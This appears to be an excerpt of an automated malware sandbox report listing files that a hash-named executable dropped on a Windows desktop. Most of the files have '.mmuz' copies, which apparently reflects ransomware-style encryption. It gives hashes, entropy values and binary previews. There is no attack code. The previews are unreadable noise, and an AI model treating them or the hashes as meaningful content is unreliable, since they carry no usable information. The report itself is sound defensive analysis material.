Preview:	LSBIH.u...fS=}.a.1.R/..&.m....]{..k.h...B-.&-.........qztz..\\|.&2.e.........Eamg.9....%.H..M.A...{.B.....!.=&R.E.hn..3....+.:.41....O..._a..Q.L!`MZ..F.Er{...C..t>.d#..m.n.Ga....w..'..J.@..z..J}...._l..!lr...)7.M...T...20L...........l......G.........R............Lp...m..QK.\I.b.f.......}...U..a.2M...W.v.OW...3hzI....,.iH.(.".(.f...>..k...Z..c....C:\|..b.Wh..l.}.....W....x(.?..._.:...s.!..,AB.l.l....)r]j`)...I....O.l1.s.a..#....F\|...k.].\|.9..HG...D.....U.9.=U....I...<g[~V..I....Ri0.Y.........>g...0.c(.M.N!5\..O.=8...j.Z.0.O.zt&p.f.Z^..h:..bf.,U9.6'..Fc..".-.cJ..O.b.&..M<....:c.y,.Dax+..i....m.....vo..S.b.#..y.%lV.......3..$.da~I<..0..%!.....^.j........t......S. ...9/=\+ ....Hje.>p:....S[..7.BU..%..Q6MKch. .[..4.....x....fN.ya..;mRH;....-.\..8..3 }9....o.6..}sp...K..~.'U<...&DG.h.X.G..}N.v..y..re.(......c4F..Q.]s..qO.Z.\|...c.....g.0.Ki~....[....6.......lK..6.h..9...o~...+..j..-......`4K.v..O...s]..)..L.H.......fCQ\..{7....Wh.....U.

C:\Users\user\Desktop\IPKGELNTQY\LSBIHQFDVT.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821484609238458
Encrypted:	false
SSDEEP:	24:K3Svuc/aCmQUuvTS+I/Mmapo/zMx9cwk6onhvBRPkT0KDFQqkEPhRPc+9D60Tssa:KSD/aMviapo/zMxawk6eryLrfxTssNcD
MD5:	4B6BCBBCF2738EC9A651A6201BCF0100
SHA1:	8A4AF28C46B4E13C12AF6D1D6C42A582DA06B1AE
SHA-256:	F9F65528F8FCB13588D26039FC6CD05DDDEDA00FDE3976BAD6CC89564645C5A1
SHA-512:	C102B308803FED9143F73FF0AAB2F03994CE24C4DE48F099C07F69E8834A6D9560B368A05B18A34412D01323BD0B4033D6BD240D32F7655EA9F9482BBB1741BF
Malicious:	false
Preview:	LSBIH.u...fS=}.a.1.R/..&.m....]{..k.h...B-.&-.........qztz..\\|.&2.e.........Eamg.9....%.H..M.A...{.B.....!.=&R.E.hn..3....+.:.41....O..._a..Q.L!`MZ..F.Er{...C..t>.d#..m.n.Ga....w..'..J.@..z..J}...._l..!lr...)7.M...T...20L...........l......G.........R............Lp...m..QK.\I.b.f.......}...U..a.2M...W.v.OW...3hzI....,.iH.(.".(.f...>..k...Z..c....C:\|..b.Wh..l.}.....W....x(.?..._.:...s.!..,AB.l.l....)r]j`)...I....O.l1.s.a..#....F\|...k.].\|.9..HG...D.....U.9.=U....I...<g[~V..I....Ri0.Y.........>g...0.c(.M.N!5\..O.=8...j.Z.0.O.zt&p.f.Z^..h:..bf.,U9.6'..Fc..".-.cJ..O.b.&..M<....:c.y,.Dax+..i....m.....vo..S.b.#..y.%lV.......3..$.da~I<..0..%!.....^.j........t......S. ...9/=\+ ....Hje.>p:....S[..7.BU..%..Q6MKch. .[..4.....x....fN.ya..;mRH;....-.\..8..3 }9....o.6..}sp...K..~.'U<...&DG.h.X.G..}N.v..y..re.(......c4F..Q.]s..qO.Z.\|...c.....g.0.Ki~....[....6.......lK..6.h..9...o~...+..j..-......`4K.v..O...s]..)..L.H.......fCQ\..{7....Wh.....U.

C:\Users\user\Desktop\IPKGELNTQY\QCFWYSKMHA.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859219508466752
Encrypted:	false
SSDEEP:	24:HFhsHTyiz4lkhxZ0bra9lZFgbU5aOGLLLF4SY7fk8dVOA44+rybkbD:4OiKAv5k2fk8KA44OD
MD5:	12FAA2B6A6B1BF88215F3A0B4BC381DB
SHA1:	C7B361CB7BD43001B4B53CD9B6AF80B1610D02BC
SHA-256:	96E361032E68264A10CFF16CE035F77AE6514380AC6EE36B4593D13BDE78C69E
SHA-512:	122DF7F5A18064F90C76C07B4B424F4669F6D4D2B4847B156187A538278F93E3C343A2ED2952E54AE7205A6D9BCC325B68B59353D5723A7819D9EB0A33E350BA
Malicious:	false
Preview:	QCFWY30n.R.a.........{~. .o.S.:..vCF.......xv.e...o...T..w(-\|}p...._..Uz;A.....IIk.W..lc0.v.>.u..r....]cr.......%.......T.=..Kg..#.......].....[....Q..-......Z..._]'1..=.S<....u.._z.E. .........f...#/...x........$....RC..............GK.......\|r]V.....B..X...e..v.MD.E._....y6.,:o+../........v.....M\|.s..LN'...dr.P..-x.^.%..P.:......S......i.:`.eH.x.F...Q...t.7...Nl..L..pP.zi.........?..T.0...... ..<.....A.........5..v+..X......H...}.:......@B%....}.X...p.c..%........>.9]A..P....U.b...RHji{Z..vJ#M;...."...cfm...%Dk.J;A...w.....~Gb..E..-`.L.6C.....Y....A..+.%.)C>.M.I.A\|CS.~...lT.]'O..I).....jA..>z..&t.r..6.O.../..(f.A..'..8.Wk4.o.y.....R.Gv@^......=N.:=d.K./#W.GX...{E.....k..0.,..o&$....%....3...........k.C(g!..i.....n^...-#o.Y}!...xTR.%...k...AT.y.Z...{#..5/..G....p.&........j?.Y.......%...n8...N.9"J...s...s...M=.k.a]..+.5;..P.....y..7...-..~.3<........HZ(.}..T/..r...9/.4...J<(...Rv.....6..Q......:0H....ZL.ZZ$......GYVD.T..~+..l

C:\Users\user\Desktop\IPKGELNTQY\QCFWYSKMHA.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859219508466752
Encrypted:	false
SSDEEP:	24:HFhsHTyiz4lkhxZ0bra9lZFgbU5aOGLLLF4SY7fk8dVOA44+rybkbD:4OiKAv5k2fk8KA44OD
MD5:	12FAA2B6A6B1BF88215F3A0B4BC381DB
SHA1:	C7B361CB7BD43001B4B53CD9B6AF80B1610D02BC
SHA-256:	96E361032E68264A10CFF16CE035F77AE6514380AC6EE36B4593D13BDE78C69E
SHA-512:	122DF7F5A18064F90C76C07B4B424F4669F6D4D2B4847B156187A538278F93E3C343A2ED2952E54AE7205A6D9BCC325B68B59353D5723A7819D9EB0A33E350BA
Malicious:	false
Preview:	QCFWY30n.R.a.........{~. .o.S.:..vCF.......xv.e...o...T..w(-\|}p...._..Uz;A.....IIk.W..lc0.v.>.u..r....]cr.......%.......T.=..Kg..#.......].....[....Q..-......Z..._]'1..=.S<....u.._z.E. .........f...#/...x........$....RC..............GK.......\|r]V.....B..X...e..v.MD.E._....y6.,:o+../........v.....M\|.s..LN'...dr.P..-x.^.%..P.:......S......i.:`.eH.x.F...Q...t.7...Nl..L..pP.zi.........?..T.0...... ..<.....A.........5..v+..X......H...}.:......@B%....}.X...p.c..%........>.9]A..P....U.b...RHji{Z..vJ#M;...."...cfm...%Dk.J;A...w.....~Gb..E..-`.L.6C.....Y....A..+.%.)C>.M.I.A\|CS.~...lT.]'O..I).....jA..>z..&t.r..6.O.../..(f.A..'..8.Wk4.o.y.....R.Gv@^......=N.:=d.K./#W.GX...{E.....k..0.,..o&$....%....3...........k.C(g!..i.....n^...-#o.Y}!...xTR.%...k...AT.y.Z...{#..5/..G....p.&........j?.Y.......%...n8...N.9"J...s...s...M=.k.a]..+.5;..P.....y..7...-..~.3<........HZ(.}..T/..r...9/.4...J<(...Rv.....6..Q......:0H....ZL.ZZ$......GYVD.T..~+..l

C:\Users\user\Desktop\IPKGELNTQY\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840155193570292
Encrypted:	false
SSDEEP:	24:WsZwPpSsklGY3zp/HrIN76qU5niL39QU0kRgT1uKfu+Lzic/g4kbD:WsZIBkBVUfUot/JPD
MD5:	0F76B17BAC2067425A61A19BCC3C054E
SHA1:	9C900838F1F39362E309DC8142B73E8E4BFECCA8
SHA-256:	00A2488D46E2F2BFDDA30936151419E4771CB94D045ABF5C895167DACC6B04FF
SHA-512:	0BA2F2DDE8F4D254CE50CB1D982E1476E7E59DC60408FFB3715E112692736BE2DD1B404229A5C6F955603460843E3214D37CDBBB3C6C34A3A2AFB9093E66AF5F
Malicious:	false
Preview:	SUAVT.j....v.O...b.U..T.(.j.&j.o....,....r..G..d.o.@.....m`j... ......}...m..fN&...^^F..u.r...yZ....};!T...Se..[jp.^.../.qd9......o4.k../.....H...h7[!.I...z@.'.\|.y.2B.?Z.Z.a....<...l.C.ab...q,..5BD..wo...\.DX..{\|E......{_.t."l}...{..I..oRi.bB.O..Z..dc..B.....pX...W.C.U....`y....$e..g.MX.yyk....o?.7{%{....~..V.V.D0rP..&...C..a.]?.M&MX..5. .r..%..s..85.AB.EH.9.)!.z`....1...~cVH...r.4p..._..C..r].]./(....id)......V./aRy....vt..3.'% M...%'.......6....l..ttb.........= $K.w......i.~....7..y.L..7...f.C..y..!..hL..;..._...9Ex.(H......n..2..C..~i...u..O...lhH...{.B.....F.......F.w.12H....j<.......,!K..../.mf}..^.12...gi2...X..<..L\|....$..I....p$.N.#l..... ....x.V....).`...=.)...zQ....2..........3....R.k./T....-j.....2.O=G.H.By.........( ..e?.s0..RXkb..FH..P.][...+.X,.q.Rw...E..k.U..jF..~....J...;..#..f.S...5d...0./b....cx..%...)Ma.A..F.]..?.."q~.H....e..q.s4c...Kg.)T(.......\|.../.....-.'......;.!C.'sy.`...%K.......#C.<5.<..C.M..^OR.OQ..zx

C:\Users\user\Desktop\IPKGELNTQY\SUAVTZKNFL.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840155193570292
Encrypted:	false
SSDEEP:	24:WsZwPpSsklGY3zp/HrIN76qU5niL39QU0kRgT1uKfu+Lzic/g4kbD:WsZIBkBVUfUot/JPD
MD5:	0F76B17BAC2067425A61A19BCC3C054E
SHA1:	9C900838F1F39362E309DC8142B73E8E4BFECCA8
SHA-256:	00A2488D46E2F2BFDDA30936151419E4771CB94D045ABF5C895167DACC6B04FF
SHA-512:	0BA2F2DDE8F4D254CE50CB1D982E1476E7E59DC60408FFB3715E112692736BE2DD1B404229A5C6F955603460843E3214D37CDBBB3C6C34A3A2AFB9093E66AF5F
Malicious:	false
Preview:	SUAVT.j....v.O...b.U..T.(.j.&j.o....,....r..G..d.o.@.....m`j... ......}...m..fN&...^^F..u.r...yZ....};!T...Se..[jp.^.../.qd9......o4.k../.....H...h7[!.I...z@.'.\|.y.2B.?Z.Z.a....<...l.C.ab...q,..5BD..wo...\.DX..{\|E......{_.t."l}...{..I..oRi.bB.O..Z..dc..B.....pX...W.C.U....`y....$e..g.MX.yyk....o?.7{%{....~..V.V.D0rP..&...C..a.]?.M&MX..5. .r..%..s..85.AB.EH.9.)!.z`....1...~cVH...r.4p..._..C..r].]./(....id)......V./aRy....vt..3.'% M...%'.......6....l..ttb.........= $K.w......i.~....7..y.L..7...f.C..y..!..hL..;..._...9Ex.(H......n..2..C..~i...u..O...lhH...{.B.....F.......F.w.12H....j<.......,!K..../.mf}..^.12...gi2...X..<..L\|....$..I....p$.N.#l..... ....x.V....).`...=.)...zQ....2..........3....R.k./T....-j.....2.O=G.H.By.........( ..e?.s0..RXkb..FH..P.][...+.X,.q.Rw...E..k.U..jF..~....J...;..#..f.S...5d...0./b....cx..%...)Ma.A..F.]..?.."q~.H....e..q.s4c...Kg.)T(.......\|.../.....-.'......;.!C.'sy.`...%K.......#C.<5.<..C.M..^OR.OQ..zx

C:\Users\user\Desktop\LSBIHQFDVT.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853784147740841
Encrypted:	false
SSDEEP:	24:KSUTJvZno+QwlrsRTU+lN0lecNM5pK7QRQN+QqMgj+DE7xjycwdNHKm4Mm5BkbD:KfvZx1xUTRWMHKsRQxgRVANqf1oD
MD5:	3B5BF4031C93E1CF0558FDF7799F5A60
SHA1:	B928B37C6A868F534F9AD9ABA7C717800729A045
SHA-256:	837BB96D2A78A2AC5E40C12CF8DFA919D32A5BEEBC4B4918741CCC59E0632C26
SHA-512:	694DF17290AD8CA579603F998E58C11A28B56EB14E6D2D0BD9131FFF373122836801DE6F37175B35263EC996B76E83E659AABC7C8E94B7753962AF1BB2D66073
Malicious:	false
Preview:	LSBIH...@...a_..pL~.....:Mq.z.5~B........^)....%..yB<q.n......[?).U..E.F.....W2.....)...L.I...v..,'...[]....v.!.....r.R.{.R...4N....p@.X.....QD..t......j?..w..I..,...`.I'J...j,.U...^.v].}......."2>W27G.n...n.........}a...T[.1g.\|.1-c...F.=....+....@o..-..!{...~..(o.]6...2e..0yV2.s...;.4\|ID...D...&../.?.........O.G1....<9R...69.'mJ_J../;...f.+..ss.....2~1.....7....:i"N..5;...Oiy9.'...>}..u.0HhP...A.).F......6!.......k...b%.6.@v.....3.......f.D.$..j..-.(......\.0.N7JGC$.wF....5.8.:...!...4.:.<wN.Q...Vm....(y..."Um......".E....C.e.....N.....5...+/.%.......U.m.&&'Sr.........U..l...6@7.+.@.lO."...0...t...S......r&%DQ..]T.n...g....,U.........%3q...#..v....x.....`n&0L.Q...S...2.........w.?..-}cp9..o.G n...V.W..j.5.<...(.LT.G5.:...>..w.UH.../f2.x.F....1...\|\.1..JB./.DO...q.p.$.H.9.}.......p.4..e>.7..a. ..K.A..8......q.M5s....v.2.....~.O.e...l..)0..XX=.J.....Yr(S.-.h.....I.`....5h~..p..,.......u...6..HW........6......<.;.C.4..r.,......_

C:\Users\user\Desktop\LSBIHQFDVT.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853784147740841
Encrypted:	false
SSDEEP:	24:KSUTJvZno+QwlrsRTU+lN0lecNM5pK7QRQN+QqMgj+DE7xjycwdNHKm4Mm5BkbD:KfvZx1xUTRWMHKsRQxgRVANqf1oD
MD5:	3B5BF4031C93E1CF0558FDF7799F5A60
SHA1:	B928B37C6A868F534F9AD9ABA7C717800729A045
SHA-256:	837BB96D2A78A2AC5E40C12CF8DFA919D32A5BEEBC4B4918741CCC59E0632C26
SHA-512:	694DF17290AD8CA579603F998E58C11A28B56EB14E6D2D0BD9131FFF373122836801DE6F37175B35263EC996B76E83E659AABC7C8E94B7753962AF1BB2D66073
Malicious:	false
Preview:	LSBIH...@...a_..pL~.....:Mq.z.5~B........^)....%..yB<q.n......[?).U..E.F.....W2.....)...L.I...v..,'...[]....v.!.....r.R.{.R...4N....p@.X.....QD..t......j?..w..I..,...`.I'J...j,.U...^.v].}......."2>W27G.n...n.........}a...T[.1g.\|.1-c...F.=....+....@o..-..!{...~..(o.]6...2e..0yV2.s...;.4\|ID...D...&../.?.........O.G1....<9R...69.'mJ_J../;...f.+..ss.....2~1.....7....:i"N..5;...Oiy9.'...>}..u.0HhP...A.).F......6!.......k...b%.6.@v.....3.......f.D.$..j..-.(......\.0.N7JGC$.wF....5.8.:...!...4.:.<wN.Q...Vm....(y..."Um......".E....C.e.....N.....5...+/.%.......U.m.&&'Sr.........U..l...6@7.+.@.lO."...0...t...S......r&%DQ..]T.n...g....,U.........%3q...#..v....x.....`n&0L.Q...S...2.........w.?..-}cp9..o.G n...V.W..j.5.<...(.LT.G5.:...>..w.UH.../f2.x.F....1...\|\.1..JB./.DO...q.p.$.H.9.}.......p.4..e>.7..a. ..K.A..8......q.M5s....v.2.....~.O.e...l..)0..XX=.J.....Yr(S.-.h.....I.`....5h~..p..,.......u...6..HW........6......<.;.C.4..r.,......_

C:\Users\user\Desktop\LSBIHQFDVT.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858532524288029
Encrypted:	false
SSDEEP:	24:KDw8C4FON7063GrkBH3loMFfhzNkDLumQfoOLNB4EN82FSKi3rujGlfvNR9UH7kX:KDI993XyA5OLQBN8TrujGpNRSHKD
MD5:	D1CAD3083EED087CADF03258CCEF359C
SHA1:	966285E6CDDE5EB1FAF7D457329442B9C3D28283
SHA-256:	4673C5409CA597E97194CA31CC8B48700F7ABB9668CCFBC320C1D06803EC2D38
SHA-512:	8C381870C0412C6A4857153FDC5DB296E8ADC360732AA60DE94A6851B9A5FEFCC05FC2BDF1E8CAA9D3538DE42A98CC9BE6E13229038CDAAAC66B5A9155EF84FF
Malicious:	false
Preview:	LSBIH..4L..w<.v....<5}.c.n.g.a.....{>I....o...N-.z8q..K.(.o.Nz....+T...?.Z.....1yp..w.......v..C........%...pl..~..-L......O.G.\m......yf+{Y.e\|'0.R...t.&.Fs..u.....]....1yC.lq.2.$.Y...i..A[.7.B.D.gj....A0.2.~Z)G..4..x.H^f......m.3.K..F..TR..a.):.W.w....<...y\M....S]....l=.....C8......-..3..........M/P..0..............f....g......n....n.3..y......S.rk...5J.u..Fo..I...q].:.Z.it......D.......o..i...\|....3....<..fi...q.....=>df...X..c .2..j. y.MSfT(...u4.[.......z1V...&^..?.O.E9.0......xQ.6.M....0?f.R........=....1..Z..h.W...V....]...X.........h...^...z..rz...p. .T9CrxV...U.....O=..7..%X.^..~:.)_..e...@h...OM{f."9.H7....@..i.....,._......4...p..p.O..j..n6.[<..N.....%\|...W....r..(.9.s..$I.....'.]..q/._H3...l.9w.P.)....Z.......'%...sa........e.r.]8.i.[K.w.....g.4.....F).....C.@n..:..11...9%)...^.[..4..O..F..+.......c....S.R<..\|.D.s.....mU...^ynf".....;.I9.[.....3..E..DM.....BK......s0h.^uDi.3..hvdg1....&...`.r.q...k..S.

C:\Users\user\Desktop\LSBIHQFDVT.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858532524288029
Encrypted:	false
SSDEEP:	24:KDw8C4FON7063GrkBH3loMFfhzNkDLumQfoOLNB4EN82FSKi3rujGlfvNR9UH7kX:KDI993XyA5OLQBN8TrujGpNRSHKD
MD5:	D1CAD3083EED087CADF03258CCEF359C
SHA1:	966285E6CDDE5EB1FAF7D457329442B9C3D28283
SHA-256:	4673C5409CA597E97194CA31CC8B48700F7ABB9668CCFBC320C1D06803EC2D38
SHA-512:	8C381870C0412C6A4857153FDC5DB296E8ADC360732AA60DE94A6851B9A5FEFCC05FC2BDF1E8CAA9D3538DE42A98CC9BE6E13229038CDAAAC66B5A9155EF84FF
Malicious:	false
Preview:	LSBIH..4L..w<.v....<5}.c.n.g.a.....{>I....o...N-.z8q..K.(.o.Nz....+T...?.Z.....1yp..w.......v..C........%...pl..~..-L......O.G.\m......yf+{Y.e\|'0.R...t.&.Fs..u.....]....1yC.lq.2.$.Y...i..A[.7.B.D.gj....A0.2.~Z)G..4..x.H^f......m.3.K..F..TR..a.):.W.w....<...y\M....S]....l=.....C8......-..3..........M/P..0..............f....g......n....n.3..y......S.rk...5J.u..Fo..I...q].:.Z.it......D.......o..i...\|....3....<..fi...q.....=>df...X..c .2..j. y.MSfT(...u4.[.......z1V...&^..?.O.E9.0......xQ.6.M....0?f.R........=....1..Z..h.W...V....]...X.........h...^...z..rz...p. .T9CrxV...U.....O=..7..%X.^..~:.)_..e...@h...OM{f."9.H7....@..i.....,._......4...p..p.O..j..n6.[<..N.....%\|...W....r..(.9.s..$I.....'.]..q/._H3...l.9w.P.)....Z.......'%...sa........e.r.]8.i.[K.w.....g.4.....F).....C.@n..:..11...9%)...^.[..4..O..F..+.......c....S.R<..\|.D.s.....mU...^ynf".....;.I9.[.....3..E..DM.....BK......s0h.^uDi.3..hvdg1....&...`.r.q...k..S.

C:\Users\user\Desktop\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829890201323338
Encrypted:	false
SSDEEP:	24:bOsWMGwJ3v3E+xwbppXeiWy70UBKN3Pfu6BVA92YI7x3AC2eM5txw0XrUQMvkbD:LJ/fxwbpZeiW3H3PfNBWv+x3dMvf39D
MD5:	0D6A61C5990261E5F8106871404F92B6
SHA1:	39B19E585325BE52C938A29488B55ECA0ADFABE5
SHA-256:	52A880B6349EC16E7AFD842CCF79A1BF8514E2A7DA5A69ACB17CDCEDB9648117
SHA-512:	3B74D9B93FAA3AFE98B6D648925773EDE36D10D590D9CF33491A59423FA44B7E4EF45D9F0EF4A08AA1E4CFF5CD423BB4244CE9A750DE37C24371DAE921310D88
Malicious:	false
Preview:	NEBFQq{D1.b.M\X....E.......>_b..q..=tG.......L.i..."....<r.j! .bGb.ag;wp.`.....l1.....o.x..}................--lE.....Y...k!).6^..e.o.AY.Y@..e.lH.&i)L.n.y.....#..Q.,..g....40.._...1.Ra.......9..E...v..r...~[n-P.....H.v4q$..XU..@.I.4. .1.~H.....G.....bc..t&...4.7h.J....=.sN.N.s.n.A.d6..r}.sp...e....R.. i....9..0..`;......k..\|n..Z..5.'O......O..d)H.-.......GZ,...A..B.tD..\[....z..Nxa.i....#.m.[...@{...s?.,-GPTT.4.......t..,...o]Y.l{.@...8.N6a..].[ .99)kS....aH..r......;W6K......O..z}dx0.K..n!..d......dyJ...C...bD..]..f.K...A..z.?....K.-.L.\|G..f..i...C...s..U...bd.....`.X"a.M.d../...+.l'.....}>x..g...hcY.O;..q$...Yn.g...x.L7z....T.:P..J..4f..x.B.y +N.d^..4c.R.@[..[..}.C...h...........!:%.....4.Mav..............?h.....k.../<.<..=b..v.!8rm..x.....B.w...KzO..2..].v.....8.5..... v..IYG..e.)...+....W.m-...`*....Z....x8..\.d8.....#.w..J..<...;{...zDM....\|-...%.Dk..<4....9..!..F...EG"(....?.\.W!Fq.2.G,.,..v$....b82E..\A..93uw...:3.v

C:\Users\user\Desktop\NEBFQQYWPS.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829890201323338
Encrypted:	false
SSDEEP:	24:bOsWMGwJ3v3E+xwbppXeiWy70UBKN3Pfu6BVA92YI7x3AC2eM5txw0XrUQMvkbD:LJ/fxwbpZeiW3H3PfNBWv+x3dMvf39D
MD5:	0D6A61C5990261E5F8106871404F92B6
SHA1:	39B19E585325BE52C938A29488B55ECA0ADFABE5
SHA-256:	52A880B6349EC16E7AFD842CCF79A1BF8514E2A7DA5A69ACB17CDCEDB9648117
SHA-512:	3B74D9B93FAA3AFE98B6D648925773EDE36D10D590D9CF33491A59423FA44B7E4EF45D9F0EF4A08AA1E4CFF5CD423BB4244CE9A750DE37C24371DAE921310D88
Malicious:	false
Preview:	NEBFQq{D1.b.M\X....E.......>_b..q..=tG.......L.i..."....<r.j! .bGb.ag;wp.`.....l1.....o.x..}................--lE.....Y...k!).6^..e.o.AY.Y@..e.lH.&i)L.n.y.....#..Q.,..g....40.._...1.Ra.......9..E...v..r...~[n-P.....H.v4q$..XU..@.I.4. .1.~H.....G.....bc..t&...4.7h.J....=.sN.N.s.n.A.d6..r}.sp...e....R.. i....9..0..`;......k..\|n..Z..5.'O......O..d)H.-.......GZ,...A..B.tD..\[....z..Nxa.i....#.m.[...@{...s?.,-GPTT.4.......t..,...o]Y.l{.@...8.N6a..].[ .99)kS....aH..r......;W6K......O..z}dx0.K..n!..d......dyJ...C...bD..]..f.K...A..z.?....K.-.L.\|G..f..i...C...s..U...bd.....`.X"a.M.d../...+.l'.....}>x..g...hcY.O;..q$...Yn.g...x.L7z....T.:P..J..4f..x.B.y +N.d^..4c.R.@[..[..}.C...h...........!:%.....4.Mav..............?h.....k.../<.<..=b..v.!8rm..x.....B.w...KzO..2..].v.....8.5..... v..IYG..e.)...+....W.m-...`*....Z....x8..\.d8.....#.w..J..<...;{...zDM....\|-...%.Dk..<4....9..!..F...EG"(....?.\.W!Fq.2.G,.,..v$....b82E..\A..93uw...:3.v

C:\Users\user\Desktop\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835373257573113
Encrypted:	false
SSDEEP:	24:yV+zxu9W/aPpmrplhsLNzmRb7QGyzXeCFKc5SqFQad2BfnkIhqPkYxmsFjDkbD:ZIylmLARbkGMuCFKckBagBfnRqPsD
MD5:	45D8D3B2DC192FA309A00A30482F8706
SHA1:	70EBA0624B0C7E03F1BE7D2B51259CC1F6479409
SHA-256:	2630E41F9CBC27D2EC74E25521E6324790F19157FE444CDEB16B59B27118FB25
SHA-512:	F796FCA962440AB40192FD27E8995E56A6C7C20B60CCED65F66C346BBCE2E3FFDBB2D56C054395F1AAF8A05AF621C7A39B3CCD06F0CBDA49050ECE47574FC1B6
Malicious:	false
Preview:	NEBFQ.t)._).z.N.Q..=.\|.._..6......,..........w.. [..................'.z.......BmE...\.H\|.....-.N..M.r;f.9..x.....s%..R.....K..;q...vq........WN;:}F..o.....&.K\|tq(G..>....`[MiJu{..Oa.}V..".-...5.;Z.......)W..v)...u.^...X.w..cWS...\|G..hc.....8....J..(.BZ.JRha...K...P.jD.M.....4...3...................kF=N...........D.d.m.;...._0K.Q.X.06.J...A m..Y.)..=(.;"&.'...i......{.......r$...^>..O..\v..Hj.6.(....Fk....>\|py...2.nw....a.B.f...g.r.j......z.E;.'.B.4......\.B.b..x.L8.c1...)..j....6L..v...tKd;.......o^..O....?.UI9...~.)aqnSr:4....`YG4.....g{...f..(..4q...?..'.j[....v...._3.. ...u5.jcIa.{.Y....+...A..v...$.;.$q.T{..X.~.......R(. k4Xm-...,(4...B.1.....=..ff..3\..'...o.}.R.._0x........f\|.......y--N...?...2..8....Of7qV..+.....<.;.@.g9J.W...2\..h......B...V'...m...x...jj....1..`...$!rf8h.o...p.n.k....1....'~y...\|1.w..._......g.c.g.2.FY..+.;}..7.7.l5............}(.0..3l...7S.D..&A...(-.5.Og-tH....w..6V...28......V.@q.&#U..q.%s..7.`..^...{x

C:\Users\user\Desktop\NEBFQQYWPS.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835373257573113
Encrypted:	false
SSDEEP:	24:yV+zxu9W/aPpmrplhsLNzmRb7QGyzXeCFKc5SqFQad2BfnkIhqPkYxmsFjDkbD:ZIylmLARbkGMuCFKckBagBfnRqPsD
MD5:	45D8D3B2DC192FA309A00A30482F8706
SHA1:	70EBA0624B0C7E03F1BE7D2B51259CC1F6479409
SHA-256:	2630E41F9CBC27D2EC74E25521E6324790F19157FE444CDEB16B59B27118FB25
SHA-512:	F796FCA962440AB40192FD27E8995E56A6C7C20B60CCED65F66C346BBCE2E3FFDBB2D56C054395F1AAF8A05AF621C7A39B3CCD06F0CBDA49050ECE47574FC1B6
Malicious:	false
Preview:	NEBFQ.t)._).z.N.Q..=.\|.._..6......,..........w.. [..................'.z.......BmE...\.H\|.....-.N..M.r;f.9..x.....s%..R.....K..;q...vq........WN;:}F..o.....&.K\|tq(G..>....`[MiJu{..Oa.}V..".-...5.;Z.......)W..v)...u.^...X.w..cWS...\|G..hc.....8....J..(.BZ.JRha...K...P.jD.M.....4...3...................kF=N...........D.d.m.;...._0K.Q.X.06.J...A m..Y.)..=(.;"&.'...i......{.......r$...^>..O..\v..Hj.6.(....Fk....>\|py...2.nw....a.B.f...g.r.j......z.E;.'.B.4......\.B.b..x.L8.c1...)..j....6L..v...tKd;.......o^..O....?.UI9...~.)aqnSr:4....`YG4.....g{...f..(..4q...?..'.j[....v...._3.. ...u5.jcIa.{.Y....+...A..v...$.;.$q.T{..X.~.......R(. k4Xm-...,(4...B.1.....=..ff..3\..'...o.}.R.._0x........f\|.......y--N...?...2..8....Of7qV..+.....<.;.@.g9J.W...2\..h......B...V'...m...x...jj....1..`...$!rf8h.o...p.n.k....1....'~y...\|1.w..._......g.c.g.2.FY..+.;}..7.7.l5............}(.0..3l...7S.D..&A...(-.5.Og-tH....w..6V...28......V.@q.&#U..q.%s..7.`..^...{x

C:\Users\user\Desktop\NEBFQQYWPS\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839615320724512
